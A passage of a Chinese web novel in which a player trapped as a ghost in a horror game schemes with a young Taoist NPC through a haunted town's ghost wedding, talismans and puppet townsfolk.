“当前状态(飘飘然)即将解除。”
走在前方的女宾客在一道门旁停住脚步。
“请二位今夜在这里留宿吧。”
话音才落,短促的风声伴着灯火亮起。
齐览抱着一动不动的女鬼踏过门槛,背后响起女宾客不太平静的声音。
“姐姐说宛娘子身上有道符留下的伤,你又是道士,”灵异特有的伤害耳膜的声线显现,“这位道长,你那点本事,要耍小聪明到什么时候?”
齐览没反应,鱼宣先受不了了。
她睁开还迷蒙的双眼:“这位小娘子,夜半三更正是睡觉的好时候,既然送到门口了,你也早点回去吧。”
女宾客声线听话地低下去,饱含委屈:“宛娘子,你醉酒不认人,我不怪你。但你真的信这个道士,不信我李萍安?”
“状态(飘飘然)已解除。”
鱼宣像被人往脑子里塞了一把薄荷糖,不由眯起眼。
“……萍安?你姐姐,嗯,萍宁说我身上有伤?”
“是,”听鱼宣问这个,李萍安的腰杆子都支起来了,“宛娘子,一定是这道士不安好心,他用那些下作手段害你,还癞蛤蟆想吃天鹅肉……”
越说越远了。
鱼宣瞥一眼锯嘴葫芦一样的青年道长。
“齐大人,不解释解释?”
齐览直挺挺站着,看起来比他背后的黑木还辟邪。
“我无话可说。”
李萍安看他这副死猪不怕开水烫的模样就来气:“宛娘子,你看他!”
“好了,我与他好事将近,这时候吵架不吉利,”鱼宣双手扒着齐览的肩与门外的灵异谈笑,“待事成之后,我一定收拾他,也给你出出气,好不好呀小娘子?”
李萍安当然知道姻亲对灵异的重要性,踌躇着气势弱下来。
好在还记得姐姐的嘱托,李萍宁憋着一口气说:“姐姐说了,在
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镇子里他不能乱来,有什么规矩趁现在给他立完了,不要心软。”
搭在齐览肩上的手轻轻拍了拍,鱼宣笑眯眯:“我会的。”
门外再无声息。
齐览半晌没动静,鱼宣困惑凑近他脸。
他没躲。
“宛娘子,你醉了。”
女鬼的眼清明狡黠,他睁眼说瞎话。
于是鱼宣松了力道,重新瘫在齐览怀里:“我醉了,我们去榻上歇息吧。”
齐览听她指示,抱着女鬼进了里屋,才到床边,她就自行挣扎着摆脱他。
察觉到窥视感消失,鱼宣翻脸不认人,趴在床边一点位置也不让:“齐大人,门还没关呢。”
齐览一错不错地盯着她,手腕翻转,从外面传来干脆利落的关门声。
这么一阵折腾,鱼宣出门前扎好的简易发型已经开始散了,在红烛映照下,原本惨白的脸色红润不少,更像个鲜活的人。
一人一鬼僵持半晌,鱼宣慢吞吞直起身往里挪。
她皮笑肉不笑:“请吧,齐大人。”
齐览卸下黑木横抱,靠坐在床边。
鱼宣看这熟悉的姿势,大概知道她一路硌得慌的原因了。
谁家好人活物死物一个拎法啊。
眼见这人又要开始闭目养神,鱼宣及时打断:“齐大人,不是说今夜不太平吗?”
青年道长的神色难得有几分破绽,反问:“难道太平吗?”
不到半个时辰,他损毁了两件法器,连着跟两个灵异对上,刚刚才从险象环生的地方出来,就连现在身边还有一只女鬼。
鱼宣一噎,重新组织语言:“齐大人有什么发现吗?这场面,您也不想明日再过一遍吧。”
百鬼群集的宴会,对于齐览一个大活人来说当然是能避则避。
齐览冷笑:“我发现,宛娘子与在场每一位都熟络得很。”
对于这一点,鱼宣丝毫不心虚:“我失忆了。”
这是实话,即使齐览突然掏出测谎法器也拿她没办法。
齐览的重点不在这,他低头调整黑木上的绑带:“宛娘子都到家了,怎么还与我纠缠?”
鱼宣理直气壮:“我说的是同路,可没说要回家。”
如果忽略她往后缩的动作,这个说法还勉强合理。
齐览没抬头。
“宛娘子如果一定要跟,那齐某避无可避。”
鱼宣鬼鬼祟祟地瞄一眼已经被搁在一边的棺材板,警惕的同时分出心神来消化齐览的话。
思路很快对上线。
“意思是,我想出桃源镇,就非得跟你扯上关系不可?”
“嗯,”青年道长盘腿端坐如一座石像,边调息边回应,“眼下你没得选。”
本来邪灵附身的那个能救一救,但人家已经有主了不说,救回来也群鬼环伺。
更主要的是,留行丹早就被鱼宣顺走了。
这么看来,鱼宣确实没得选。
但是她没忘记齐览对“裙带手段”的厌恶程度。
齐览妥协得这么果断,鱼宣差点怀疑自己的记忆出了问题。
鱼宣打量了他一会儿,忽而笑道:“难道你有得选吗?”
她好歹性命无虞,而齐览,一旦失去她的庇护,随时会被整个桃源镇的灵异分而食之。
5. 第 5 章
被戳破的齐览一言不发。
鱼宣见好就收,很照顾他的脸皮。
“就算我们都愿意,这事也难成,”鱼宣提醒,“请柬我不会做,送请柬的纸人我更不会做。”
齐览想了想,补充:“还有嫁衣婚服,宅邸装点,宴席菜品,嫁妆聘礼……”
他礼仪学得很全面,纸上谈兵也格外从容,一口气说了一长串令鱼宣感到陌生的名词。
鱼宣满脸写着“荒谬”地听他如数家珍。
她耐心等着齐览说完,冷静道:“先想必要的吧,请柬和宾客。”
其他的如果齐览实在想要,反正李宅就有现成的,打家劫舍的活儿并不麻烦。
齐览不知道鱼宣的想法,压了压眉眼,沉吟片刻道:“我可以试试。”
鱼宣怀疑地看向一脸正派的青年道长。
齐览抿唇,不太习惯夸耀自己的才能:“我会画传讯符。”
万变不离其宗。
鱼宣眼睛一亮:“传讯符?可以自动寻人的那种吗?”
齐览矜持又含蓄地颔首。
“真是天才的想法!这样我们不用考虑纸人了。”鱼宣发自内心地感慨NPC的实用性。
“需要朱砂、符纸,”齐览躲开鱼宣的视线,飞快地眨了几下眼,“还有宾客名单。”
宾客名单还好说。朱砂和符纸,一听就不像能在灵异的镇子里找到。
鱼宣灵光一闪:“符纸,跟请柬的材质相比如何?”
请柬的材质是灵异术法专用的黄纸。
齐览大概猜到她想做什么,皱眉:“道符的黄纸与灵异的黄纸怎能混为一谈。”
他没说其中分别。
鱼宣慢慢地扬起一个笑。
“你就说原理是不是一样的?”
齐览拿她没辙,从眉眼间泄漏出妥协的意味:“我可以教你。”
方法路数他都会,但不到万不得已,他自己最好还是不要用。
不过身为灵异的鱼宣捣鼓这些正合适。
鱼宣当然乐得有技能傍身,一下子凑过去,刚刚挪的距离前功尽弃。
齐览:“伸手。”
鱼宣顿了一下,最终把两只手都伸到齐览面前。
齐览拿过她的右手,食指隔空比划一阵。
鱼宣看到自己手心浮现一个赤色的笔画繁杂的符印,随后消融消失。
“恭喜玩家获得技能【传讯符符印】——天涯海角,使命必达。”
齐览见她一脸新奇,出言解释:“这个符印,平常时候不会出现,若有需要就聚灵于掌心,手按在黄纸上即可。”
懂了,随身印章。
鱼宣还有疑问:“这符印只能印右手吗?只能印一个吗?”
齐览面无表情,拒绝回答。
NPC不说,鱼宣有自己的办法。
她打开系统面板,忽略依然标红的报错,翻出个人属性,在技能板块的角落找到了:“符印(1/3)”
想也知道NPC不可能一下子帮她把技能栏填满,鱼宣暂时放弃了从齐览身上再薅点的想法。
至于黄纸。
鱼宣作势要抽回手:“我们明日得出门逛逛了。”
屋内烛火骤然熄灭。
齐览攥住鱼宣往回收的手,沉声道:“灵异霸道,新婚夜只有婚房花烛才能彻夜通明。”
“怪小气的。”鱼宣小声嘟囔。
“情有可原,灵异对忌讳的讲究要比常人更敏感些。”
“道理我都懂,”鱼宣冷漠道,“你能先松松手吗?”
她坐过山车都没把杆抓这么紧。
人没声了,手一点没松。
鱼宣回过味来:道士怕黑?那和人对水过敏有什么区别。
她仗着这会儿齐览不敢动弹,左手也搭上去把人逮住:“齐大人,你与灵异对阵,有多少经验?”
齐览哪管得了她问的什么,张口就答:“今年年初下山,才入伏灵司,外派边陲。”
鱼宣总结:“初出茅庐啊。”
齐览想说这半年行程他一路摸爬滚打,对付灵异已经轻车熟路,但与一只女鬼谈论这个实在诡异。
鱼宣感觉自己大概摸清楚了底细,又把话题往回扯:“新郎不是被你打散架了吗?怎么还能洞房?”
眼睛慢慢适应了黑暗,齐览深深地看着身边的人影:“灵异的婚契绑定的不是肉身。”
否则李萍宁根本不会任由他出手。
鱼宣把新线索往已知的内容里拼接:“所以就算新郎已经被邪灵附身,婚契也成立。”
齐览的声音里带了点迷茫:“邪灵?这是你们对会附身的灵异的称呼吗?”
鱼宣:……
系统又给她挖坑。
遇事不决就反问:“难道道门有专门的说法?”
齐览摇头:“我们一概称为灵异。”
这下鱼宣可以断言,目前已经打过两次照面的“邪灵”,极有可能是这个灵异本的BOSS碎片。
鱼宣一只手失去自由,不过好歹经过交流齐览的手劲不那么大了,不妨碍她调整一个舒服的姿势准备入睡。
尽管身份是灵异,但精神上还是个人类,这个点再不睡觉都要熬穿了。
安全问题就交给NPC。
鱼宣使唤齐览已经得心应手:“齐大人既然没有睡意,今晚就守夜吧。”
被忽然中断聊天又被安排任务的齐览看着掖好被角的女鬼,识趣地闭嘴。
鱼宣没有活人的呼吸起伏,齐览无法判断她是不是睡着了。
山中寂寥,学成入世。这半年漂泊,常常才离虎穴,又遇龙潭,生死一线也靠自己熬过来。如今得到庇护,却偏偏是个灵异。
再看一眼毫无动静的女鬼,涉世未深的青年道长心中叹息。
灵异需要休眠的情况,只有身受重伤。
齐览在黑暗中静默良久,闭上眼,继续调息。
天才蒙蒙亮,鱼宣就被系统提示音唤醒。
“当前进度:5%(剧情探索达到60%将解锁支线)”
“恭喜玩家新手副本【桃源镇】进度过半,解锁灵异能力25%,请谨慎使用。”
一夜之间进度跃升了两个百分点,鱼宣毫无起床气。
她精神抖擞地想要支棱起来,发现手还在齐览那儿,干脆借一把力撑起身。
齐览还在半调息半警戒状态,突然被来这么一下,都准备起势掐诀了,好在握着鱼宣的手回过神来悬崖勒马。
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鱼宣抬起自由的左手指了指窗户:“齐大人,天都亮了,还怕黑吗?”
齐览撇开眼松了手,起身开窗查看屋外环境。
被活人捂了一晚上,灵异的手也硬生生有了点温度。
这让原本已经对这具恒温保鲜的身体习惯的鱼宣有一瞬间觉得自己的右手像热乎的烤红薯。
灵异的体质特征占了上风,鱼宣的右手很快冷却下来,恢复成带着凉意的温度。
叩门声响起。
鱼宣翻身下床去开门。
来者是一个面容清丽的女子,鱼宣从衣着判断出她就是昨晚为他们带路的李萍安。
齐览说的不错,灵异果真霸道。婚宴当日除了两位主角和齐览这个大活人,其他的连五官都要模糊处理。
齐览没有被糊脸大概也归功于他们之间的“未婚夫妻”关系。
李萍安见开门的是鱼宣,立刻紧张地将她从头到脚看过一遍。
鱼宣望进她眼底,是常人一样的深褐色,于是笑道:“全须全尾的,放心吧。”
李萍安松一口气,目光越过鱼宣往里看去。
往门框上一靠挡住李萍安的探究,鱼宣神色腼腆:“萍安,能叫人打水来吗?我们要洗漱。”
李萍安愣了愣,想到什么,面容都开始扭曲:“宛娘子,他人呢?”
“他怕生,不见客,”鱼宣知道她误会,也不解释,软下声调,“好萍安,让我梳洗一番,再去拜会你姐姐。”
李萍安有火无处发,只能应下愤愤离去。
很快有丫鬟装扮的纸人来送水,鱼宣接过来顺带关了门。
一转头,齐览背着黑木坐在圆桌旁,身上布料一点也不皱,根本看不出他穿着这一身过了夜。
鱼宣不问他要不要,拧了一块毛巾甩给他,就只管自己了。
修道之人耳聪目明,鱼宣与李萍安的对话齐览一字不落。
他接住毛巾象征性地擦了擦,悄悄翻手给自己和鱼宣施了除尘术。
这边鱼宣收拾完自己,正清清爽爽的,一旁齐览幽幽开口:“李氏姐妹都格外针对我。”
鱼宣想:不针对他针对谁?
道士与灵异,从根本上就不对付。
齐览接着说:“李萍安不是完全的灵异,她的气息更薄弱。”
大概系统也怕玩家走弯路,新信息给得突兀又直接。
鱼宣眯眼。
她想起来了。
李萍安两次出现,系统都没有新角色提示。
婚宴的时候还说得过去,毕竟脸都不可识别。但是今早无任何模糊处理的状态下,系统依旧没有给出任何反应。
而已知的角色里,也没有可怀疑的对象。
这种情况除了李萍安,就只有……
“那槐伯呢?桃源镇石碑和李宅门口的那个老人。”鱼宣紧盯着几步之外端坐的青年。
这一刻鱼宣完全理解那些一盘棋下一天的棋手。
一旦落子草率,没有回头路走。
齐览垂眼:“他是因灵异聚集滋养而成,可以当做是桃源镇本身。”
鱼宣追问:“那李萍安是?”
齐览目光落到水盆上,平静道:“比纸人高级,有派生意识的傀儡。”
6. 第 6 章
鱼宣仔细回想,李萍安全程没有一点人机感。
无论从哪方面看,就算与齐览站在一起都看不出什么异样。
齐览言简意赅:“昨晚又多了一个。”
非常易懂的提示。
鱼宣一下子就能把目标锁定在已经被齐览打散架的新郎身上。
活人。
现在应该已经是死人。
还真是非常环保的原材料。
鱼宣想起自己刚才还说要去拜会萍宁,大概率会与这个倒霉鬼碰面。
一个妹妹一个新郎,傀儡的主人是谁昭然若揭。
萍宁果真不好对付。
不过事已至此,先吃饭吧。
鱼宣没有忘记齐览会饿。
李宅既然留客,一顿饭应该不吝啬。
鱼宣这样想着,随口招呼齐览:“齐大人收拾好了的话,我们现在去找萍宁,还能蹭上早膳。”
话题太跳跃,齐览跟着鱼宣走进回廊的时候还没理清楚其中的衔接关系。
萍宁当然要见。
但是已知对方手下还有两个听候差遣的帮手的情况下,他们就这样毫无准备地过去,跟送人头的区别不大。
为了顿饭要这么铤而走险吗?
鱼宣带着齐览回到正厅,昨日红绸还都在,只是没了宾客,杯盘也都撤下。
厅内不见人影,小门处候着一个纸人。
鱼宣走过去问它:“萍宁呢?”
纸人无火自燃。
萍宁的身形在纸人身后显现。
她噙着笑:“宛娘子,你找我。”
婚宴已经结束,萍宁没再穿婚服,而是一身桃红常服。
粗略看去,会以为她的眼瞳是正常的黑褐色。
鱼宣离得近,她看得清楚,那分明是深不见底的暗红。
“我以为萍安与你说了,没打招呼就兴冲冲过来,”鱼宣弯着眼,伸手去牵萍宁,“这个时辰我也懒散,就在你这儿吃顿饭再出门。”
萍宁任由她扣住自己的手,也笑:“也好,你们多留一会儿,小厨房动作很快。”
她没接有关李萍安的话茬。
鱼宣拐着弯试探无果,换了直白的问法:“怎么不见新郎?”
萍宁眨眨眼。
一个高出萍宁一头的身影出现在他们身侧。
萍宁笑意更深:“这不就来了。”
大概是觉得人齐了,萍宁引着他们入座。
两位新人是李宅的主人,理所当然地坐到主位上。
鱼宣在下首落座,齐览紧挨着她。
齐览一眼注意到新郎腰间挂着的连理双鱼佩。
再看对方今日的缎面蓝云纹圆领长袍,齐览不由感慨萍宁对这个傀儡新郎真是舍得费心思。
鱼宣顺着齐览视线看去,也发现那枚玉佩。
萍宁说喜欢,第二天就给自己的夫君挂上了。
可见是真心话。
趁着早膳还没端上来,鱼宣抓紧时间搜刮信息。
“萍宁,我来是想问,你们备请柬的黄纸是哪家供给?”她瞟一眼身旁的青年道长,故作羞涩,“时间紧,我们只管逮着你问了。”
萍宁答得爽快:“黄纸整个桃源镇只槐伯有,你去找就是,他不会吝惜。”
鱼宣状似无意地接着问:“名单也找槐伯要吗?”
萍宁捧着沉默寡言的新郎的手把玩,这次却没有正面回答。
“宴请宾客,自然是你们两个商量,槐伯哪能插手呢?”
天光从门窗泄漏,照进灵异剔透的眼中。
萍宁转眼的间隙,捕捉到青年艳羡的目光。
她了然,好心提醒:“镇上集市商户不少,宛娘子若有心,也去看看吧。”
鱼宣尴尬而不失礼貌地笑笑。
不是她不想,是她根本没从当前的任何场景翻出货币啊。
齐览却把话听进去,转过头看向鱼宣。
鱼宣感觉到自己的手被抓了一下。
她下意识就反手掐住对方,于是听见身边人压抑地讨饶:“宛娘子…”
鱼宣下手没收敛,又带着25%的灵异力量,齐览即使修为在身,也得受点伤。
他放低了声音,可是在场两个灵异,这点动静根本逃不过。
鱼宣麻木。
不明白为什么NPC要在灵异本里搞这种无意义的小动作,可能是为了增加恐怖氛围吧。
她只能庆幸那位新郎现在是个空壳,少丢一份脸。
鱼宣伸手捂齐览的嘴,借遮挡塞了一颗留行丹进去,抽空回萍宁的话:“我们会去逛逛的。”
齐览还想说什么,被鱼宣递了一杯茶封口。
萍宁掰着新郎的指节,津津有味地看他们互动。
好在送饭的纸人中止了这场闹剧。
鱼宣得到了想要的消息,蹭过饭之后就毫不留恋地离开李宅。
齐览拎着打包的馒头,问:“去哪?”
鱼宣头也不回:“找槐伯。”
她想过了,李萍安和新郎不是李萍宁的傀儡。
他们因为与李萍宁有牵扯而进入桃源镇,作为桃源镇镇民存在。
因此,傀儡归属于桃源镇。
两人畅通无阻地来到青石碑旁。
看起来几步就能出桃源镇,但是鱼宣知道中间隔着不可名状的障碍。
摇椅轻晃,蒲扇盖在老人脸上。
鱼宣开门见山:“槐伯,萍宁让我来问您要黄纸。”
老人抬起遍布褶皱的手拿下蒲扇,慢悠悠抬眼:“要多少?”
鱼宣竖起食指。
“一张。”
老人看一眼鱼宣身后的齐览,又问:“不改了?”
“不改。”
桃源镇的灵异问槐伯要黄纸,并非没有条件的。
是请柬,也是一场献祭。
要了多少黄纸,就得有多少个因缘。
因缘不仅限于姻缘,像李萍安这样的兄弟姐妹也算数。
鱼宣只想借着齐览行方便出桃源镇,才懒得帮桃源镇开枝散叶。
至于齐览,鱼宣只要保证他不死,就不会沦落到被做成傀儡的地步。
鱼宣接过槐伯递过来的黄纸,将掌心按上。
黄纸红印,无风自动,从鱼宣手中脱离,沿着他们来时的路飘向李宅。
齐览一言不发。
纵使他从前修行多是闭门造车,这走向也能猜测一二。
青年道长从鱼宣斩钉截铁的语气中琢磨出非他不可的意味。
槐伯瞥一眼眼神变换的齐览,甩手赶人:“快回去准备,别扰老头子补觉,今晚还要替你们守门。”
鱼宣问:“槐伯,集市上店家都什么时候开门?”
槐伯已经躺回摇椅上:“现在去就是,做生意哪有偷懒的。”
等到了集市前,鱼宣终于分神关注了一下过分安静的齐览。
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NPC不说话的时候像跟宠一样,也不乱跑,非常省心。
鱼宣想了想,还是出言关心一下:“齐大人?”
齐览闷闷出声:“嗯。”
听了个声响,鱼宣自觉尽到了关怀义务,抬脚走进集市。
齐览也跟着走,却发现身前的女鬼越来越慢,鬼鬼祟祟地扯住他衣袖。
“齐大人,我们没钱。”
齐览:……
一下山就吃上公家饭的青年道长默默地掏出一把玉珠。
“用这个吧。”
鱼宣放开手,若无其事:“我没有经验,齐大人看着置办吧。”
齐览也没有经验,但他有理论知识。
鱼宣眼睁睁看他买了红绸,又打听雇佣厨子和帮工。
在齐览踏进成衣店前,鱼宣及时拦住他:“嫁衣婚服不必准备了。”
齐览停下,低头看她。
嫁娶仪式,没有聘礼嫁妆已经够简陋了。再没有婚服,成何体统。
鱼宣从青年道长那张白玉无瑕的脸上看出明显的不悦。
“我是绣娘啊,”女鬼歪头,“绣娘当然会给自己准备嫁衣婚服了。”
齐览成功被说服,拎着大包小包跟随鱼宣离开集市。
回到小院,青年开始把买的东西拆出来,而鱼宣直奔主屋。
多亏之前把这里翻了个底朝天,鱼宣对屋内物品了如指掌。
从床后拖出半人高的樟木箱,一层一层的成衣把箱子铺得满满的。
压箱底的正是周平宛为自己准备的嫁衣。
“恭喜玩家达成剧情节点。”
“物品:金线嫁衣——丝丝缕缕,喜结连理。”
鱼宣把其他成衣放回去,这一番折腾下来头晕脑胀,按着太阳穴靠坐在床边歇息。
等稍微缓过劲,她拿出针线包,对着嫁衣比划。
系统毫无反应。
鱼宣很确信,“金线·囍”就是用在这儿的。
但是她毫无绣娘从业经历,只能干瞪眼。
这时齐览动作迅速地把红绸灯笼什么的都挂好了,过来敲门。
“宛娘子,婚服可有差错?”
鱼宣看一眼怀里繁重的嫁衣,不想挪动,于是有气无力地开口:“齐大人,进来吧。”
片刻后,齐览推门而入。
这件嫁衣,只需一眼,就能让人知道它的创作者手艺精湛。
而它的创作者正愁眉苦脸地盯着它发呆。
齐览看女鬼一副没骨头的模样,困惑道:“婚服有问题吗?”
鱼宣疲倦地摇摇头。
没有问题就是最大的问题。
齐览四下看了看,最后视线落回到鱼宣身上:“那,新郎的婚服呢?”
鱼宣表情有一瞬的空白。
箱子里的成衣她看过两遍,只有女式的。
但婚服,确实应该是成双成对的。
鱼宣眨眨眼,脑海中冒出一个奇异的猜想。
为,他人,作嫁衣裳?
女鬼绝望地闭眼:赶作业也不是这么赶的啊。
“齐大人,你看看这嫁衣的料子,帮我挑出一样的布匹,”鱼宣咬牙切齿,“我为你量体裁衣。”
另一边的李宅,萍宁伸手接住一路奔波的传讯符。
“宛娘子真是不鸣则已一鸣惊人,”她捧着轻薄的黄纸,呢喃道,“这下,真要让她闯出活着离开桃源镇的第一对了。”
7. 第 7 章
好在即使是内测,也考虑了参与者的知识面情况。
齐览找来相应的材料后,鱼宣面前弹出一个填写数据的窗口。
鱼宣展开量尺:“齐大人,过来吧。”
量体裁衣这样的事,齐览没有经历过。
在山上修行时,只穿道袍。
入伏灵司后,也是统一形制的官服,他的级别还不到注重合身的地步。
灵异遍布,百姓无心耕织,都只管逃命,粮食布匹自然珍稀。
于是官府在这方面也吝惜起来。
鱼宣这一屋子的精细布料,都能拿去上贡了。
伏灵司的同僚中也有到了适婚年龄准备相看的,只是谈论装扮的时候都避开他。
他们单知道齐览是道士,断定他不婚嫁,更不在乎打扮。
当然也有其他同行入世,但这个关头一个道士分两半用都不够,当然没空聚在一起聊天。
齐览听指示张开双臂,无声地低头看身前女鬼毛茸茸的脑袋。
太近了。
过往十九年,别说灵异,常人都少有与他如此近身接触的。
系统判定很灵敏,鱼宣很顺利地填完数据,带着布料坐到缝纫机前,除了根据系统提示完成必要步骤就只需要挂机等着。
齐览感到怀中空落落,视线追随鱼宣过去,却隐隐察觉不对。
女鬼摆弄缝纫机的时候格外空洞,这种状态在离开乱葬岗的路上他也见过。
他想起鱼宣异于其他灵异的举止,以及初见时几近于无的灵异气息,第一次开始考虑一个问题:天底下那么多灵异,京城那位为什么偏偏指名要她?
在齐览消耗脑细胞的时候,鱼宣趁着挂机状态小小地补了一觉。
昨晚满打满算睡了不到三个时辰,能精神到现在已经很不错了。
在齐览的视角,就是女鬼做完婚服后毫无预兆地昏了过去。
齐览不敢冒然惊动她,只能维持着把人扶住的姿势,同时搜刮脑内的典籍。
系统非常人性化地使用鸟鸣声晨起闹铃把鱼宣唤醒。
“啊,做好了。”鱼宣一睁眼,布料变成衣,又补了精神,一下子支棱起来。
“恭喜玩家达成剧情节点。”
“消耗物品:金线·囍”
“物品:金线婚服——痴痴缠缠,与君同死。”
她转头看挨着自己坐的青年道长,张口想让他穿上试试。
齐览严肃地先她一步开口:“你这个情况很危险。”
鱼宣满不在乎。
从无法登出的时候开始,她就知道自己危险了,不需要NPC提醒。
但她还是决定接受齐览的好意:“我会注意的。”
女鬼的敷衍太明显,青年道长皱眉:“你失忆,可记忆总在你脑中,为何不寻契机想起来。”
鱼宣真想说记忆并不在她脑中。
但她只能假笑扯开话题:“契机不是想有就能有的,齐大人,眼下也快到正午了,你试试婚服就去用午膳吧,如果有不合适我再改改。”
才怪,系统出品哪有可能不合适。
齐览见她油盐不进,一副把生死置之度外的模样,心中郁郁。
灵异本身就是违背了轮回存在的产物,要让它们对生死有敬仰之心才奇怪。
作为一个道士,见到灵异有衰微甚至消失的迹象,齐览应该对此感到高兴才是。
但是他看着没心没肺的女鬼,只觉得隐隐焦躁又不安。
齐览到底世故经历太少,不明白缄口不言只会变成对方的玩物。
鱼宣把人哄走,自己也站起身到院子里透透气。
齐览的效率非常高,鱼宣甚至怀疑他有过目不忘的能力。装饰摆放一概与李宅一致,若非她这小院本身没那么阔绰,只怕能完全复刻。
万事俱备,这才中午。
这让鱼宣有种生死时速赶完deadline结果发现时间绰绰有余的爽感。
到夜半子时,还有整整半天的时间。
鱼宣摸摸下巴,自觉复盘。
萍宁的婚宴剧情结束,副本就已经过半,按这样推算,剩下的一半应该就是在今晚了。
剧本杀不会特意留这么大的空隙给玩家,这期间一定还有待发掘的内容。
装饰什么的并不算硬性要求,唯一杀时间的就只有婚服。
丝丝缕缕,喜结连理。
痴痴缠缠,与君,同死。
同死。
鱼宣不适时地想起昨晚齐览送出去的那份贺礼。
连理双鱼佩,贺人鬼姻亲。
连理。
又是连理又是同死,听起来真像配冥婚。
鱼宣:……
怪不得新郎死了,萍宁毫无反应。
这场献祭,原本要的就是死人。
鱼宣本身就是灵异,死不死的跟她没关系。
这个倒霉鬼,只能是齐览。
但是引路NPC被搞死,后面全线崩盘的后果不是鱼宣能承受的。
脑海中浮现齐览那副呆头呆脑兴冲冲准备的模样,鱼宣一阵头疼。
齐览先前得过鱼宣的应允,能自由出入厨房。
他想,今天是大喜日子,不能再让鱼宣吃清汤寡水的挂面了。
只是齐览自己日子都是对付着过,过往在厨艺上实在没什么精进。
青年道长将从集市买来的一次性厨子和帮工纸人放出来,吩咐:“先做一桌正式些的家常菜,再准备晚上要用的宴席菜品,食材随意取用。”
厨子纸人晃晃身形,没动。
指令不清晰。
齐览补充:“中午做两人份,晚上六人份。”
厨子和帮工接收到完整指令,慢吞吞地动作起来。
齐览本想观摩学习,但纸人慢归慢,技艺却娴熟,这显然不是步骤的问题,而是考验熟练度。
偷师未遂的齐览转身出了厨房,一眼望见石桌旁沉思的女鬼。
鱼宣还在琢磨破局,看不得齐览清闲,势必要拉他下水。
他才走近,鱼宣示意他坐下。
“齐大人,都忙活完了?”
齐览点头。
鱼宣看他似乎还处在兴致高涨中,不由迟疑,但还是决定不能苦自己。
女鬼冷漠无情地直白道:“婚宴有诈。”
青年道长平静地应了一声,等着她继续往下说。
或许在齐览看来,婚宴没诈才不对劲。
灵异手段千千万,总不会让他们安稳度过。
“这下有危险的是你,齐大人,”女鬼看好戏似的看着他,“桃源镇不收活人。”
齐览不知道这段时间女鬼又拼凑出了什么,听她的意思,他估计得死。
青年道长坐在鱼
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宣对面,淡然得让人心惊,他笃定道:“宛娘子会庇护我的。”
从玩家的角度出发,鱼宣能理解NPC莫名其妙赖上她的行为。
女鬼凭借良好的素养保持笑容:“我暂时还没有什么头绪。”
这是实话。
鱼宣脑子转得再快,短时间内也很难再进一步推测。
当事人反而没有一点慌张的情绪,随手接过纸人递出的碟子摆到桌面上。
“吃过饭再想也不迟。”
出自纸人之手的食物平平无奇,鱼宣没有饱腹的需求,于是婉拒:“我不饿。”
齐览当然知道她不饿,他只是在享受这种过家家一样温馨的乐趣。
他扮演的角色不是奉献者,而是汲取者,被拒绝后就顺理成章地自顾自动起筷子。
鱼宣没工夫管NPC的小心思,她得整合目前得到的信息。
条件不足的情况下,盲目分析显然是做无用功。
女鬼捂着脑袋愁眉不展。
对面的道长吃饱喝足,良心发现地开口提点:“宛娘子,我们晨起时分明见过李萍安,为何在正厅她不现身呢?”
鱼宣回想:“起初新郎也没出现,是我问过才……”
已知新郎与李萍安同为桃源镇的傀儡镇民,比起时刻与萍宁同时出现的新郎,李萍宁的行动却更自由。
进桃源镇以来,鱼宣从没有跟任何人说过她把齐览放在什么身份。
如果李萍安是萍宁的妹妹,那鱼宣为什么不能把齐览作为兄长或者弟弟呢?
鱼宣去找槐伯要黄纸,对方问:“不改了?”
什么情况需要这样二次确认?
鱼宣差点被这荒唐的逻辑链气笑了。
黄纸对应请柬,是一锤子买卖,没有朝令夕改的余地。
灵异首次为桃源镇添员,一定从姻亲开始,到槐伯那里确认任务目标,某种意义上也算KPI。
槐伯在李宅门口迎客时,曾对鱼宣说“你也是头一回”,可见萍宁与鱼宣都是第一次带人回来。
李萍安不是因萍宁而来的桃源镇,她的鲜活程度比新郎强太多,本来也不是萍宁能做到的。
鱼宣捋顺了其中关窍,终于抽空看一眼疑似往谜语人方向发展的NPC。
她有点想抓住齐览的肩膀边摇晃边吼:你以为我是在救谁的命?
齐览如有所感,对上鱼宣幽怨的视线。
青年全然没有心虚的意思,或许归功于满院的红绸喜气,连累得他的气质也柔和不少。
他见鱼宣眼中清明,耐心等着她对他的提示奖赏几句夸赞。
可惜媚眼抛给了瞎子看,鱼宣对NPC亮晶晶的期待眼神没有探究的想法。
她正在考虑一件重要的事。
萍宁说过,宛娘子是这里最守得住的。
翻译过来就是,周平宛在桃源镇的资历最深。
那她肯定比李萍安身后的灵异还厉害。
要不是鱼宣目前只有25%的力量,她就铤而走险试试能不能暴力速通了。
女鬼不清楚自己的底细,眼珠一转,把主意打到NPC身上。
对付灵异是道士的天职,齐览即使初出茅庐,基本的判断能力应该还是有的。
她问:“齐大人,凭你的眼力来看,我的本事怎么样?”
齐览不假思索:“虚弱将死。”
8. 第 8 章
齐览从未见过对睡眠依赖性这么强的灵异,更何况她还失忆。
记忆是灵异能力的部分体现。
最低等的游魂完全没有自己的记忆,更没有意识。
鱼宣自认为对NPC有了初步了解,倒没有觉得齐览是在单纯地损她。
她拿出文言文翻译的功底,逐字拆分:“又虚又弱而且快要死了?”
齐览没从女鬼的脸上看出任何惊讶的情绪,甚至有点荒诞的正经。
他小声找补:“也不能说是快要死了。”
先不说“死”用在灵异身上本来就不合适,根据齐览的感知,鱼宣的气息虚弱但稳定,与道门的龟息功法相似,换个道士来看会以为是长寿之象。
可是齐览记得自己在乱葬岗撬棺材板的时候有多费力。
他从京城出发时身上揣了两百零三张符隶,光是解决一根镇棺钉就消耗了一百四十九张,主要原因是来时路上用得只剩这些了。
要不是鱼宣自己苏醒,剩下六根镇棺钉还不知道要怎么撬。
尽管鱼宣揭棺而起的前摇把他冲撞得砸在别人的坟头昏死过去,齐览还是很庆幸省了力气。
从这点来看,如果不是回光返照,鱼宣的实力应该远比他感知到的要强大。
盛极而衰,也不该这么极端地一衰到底。
鱼宣注意到青年道长逐渐凝重的脸色,暗暗欣慰这个挂件NPC终于学会独立思考了。
她装模作样地安抚道:“车到山前必有路,命再短短不过今日。”
反正齐览说她虚弱她是绝对不认的。
不过多亏他的话,鱼宣有了新灵感。
NPC的命得救,不过可以不完全救。
赊账不仅仅通用于人间,灵异也会做这种生意。
齐览不经意间抬眼,原本难掩愁容的女鬼已经换了一副面孔。
他让开位置给纸人收拾碗筷,往鱼宣的方向靠了靠:“宛娘子,我有救了吗?”
鱼宣高深莫测道:“是也不是。”
没有给他刨根问底的机会,鱼宣起身回了主屋。
赊账是门学问,对于人类来说岁月如白驹过隙,唯有既得利益才能让他们安心。
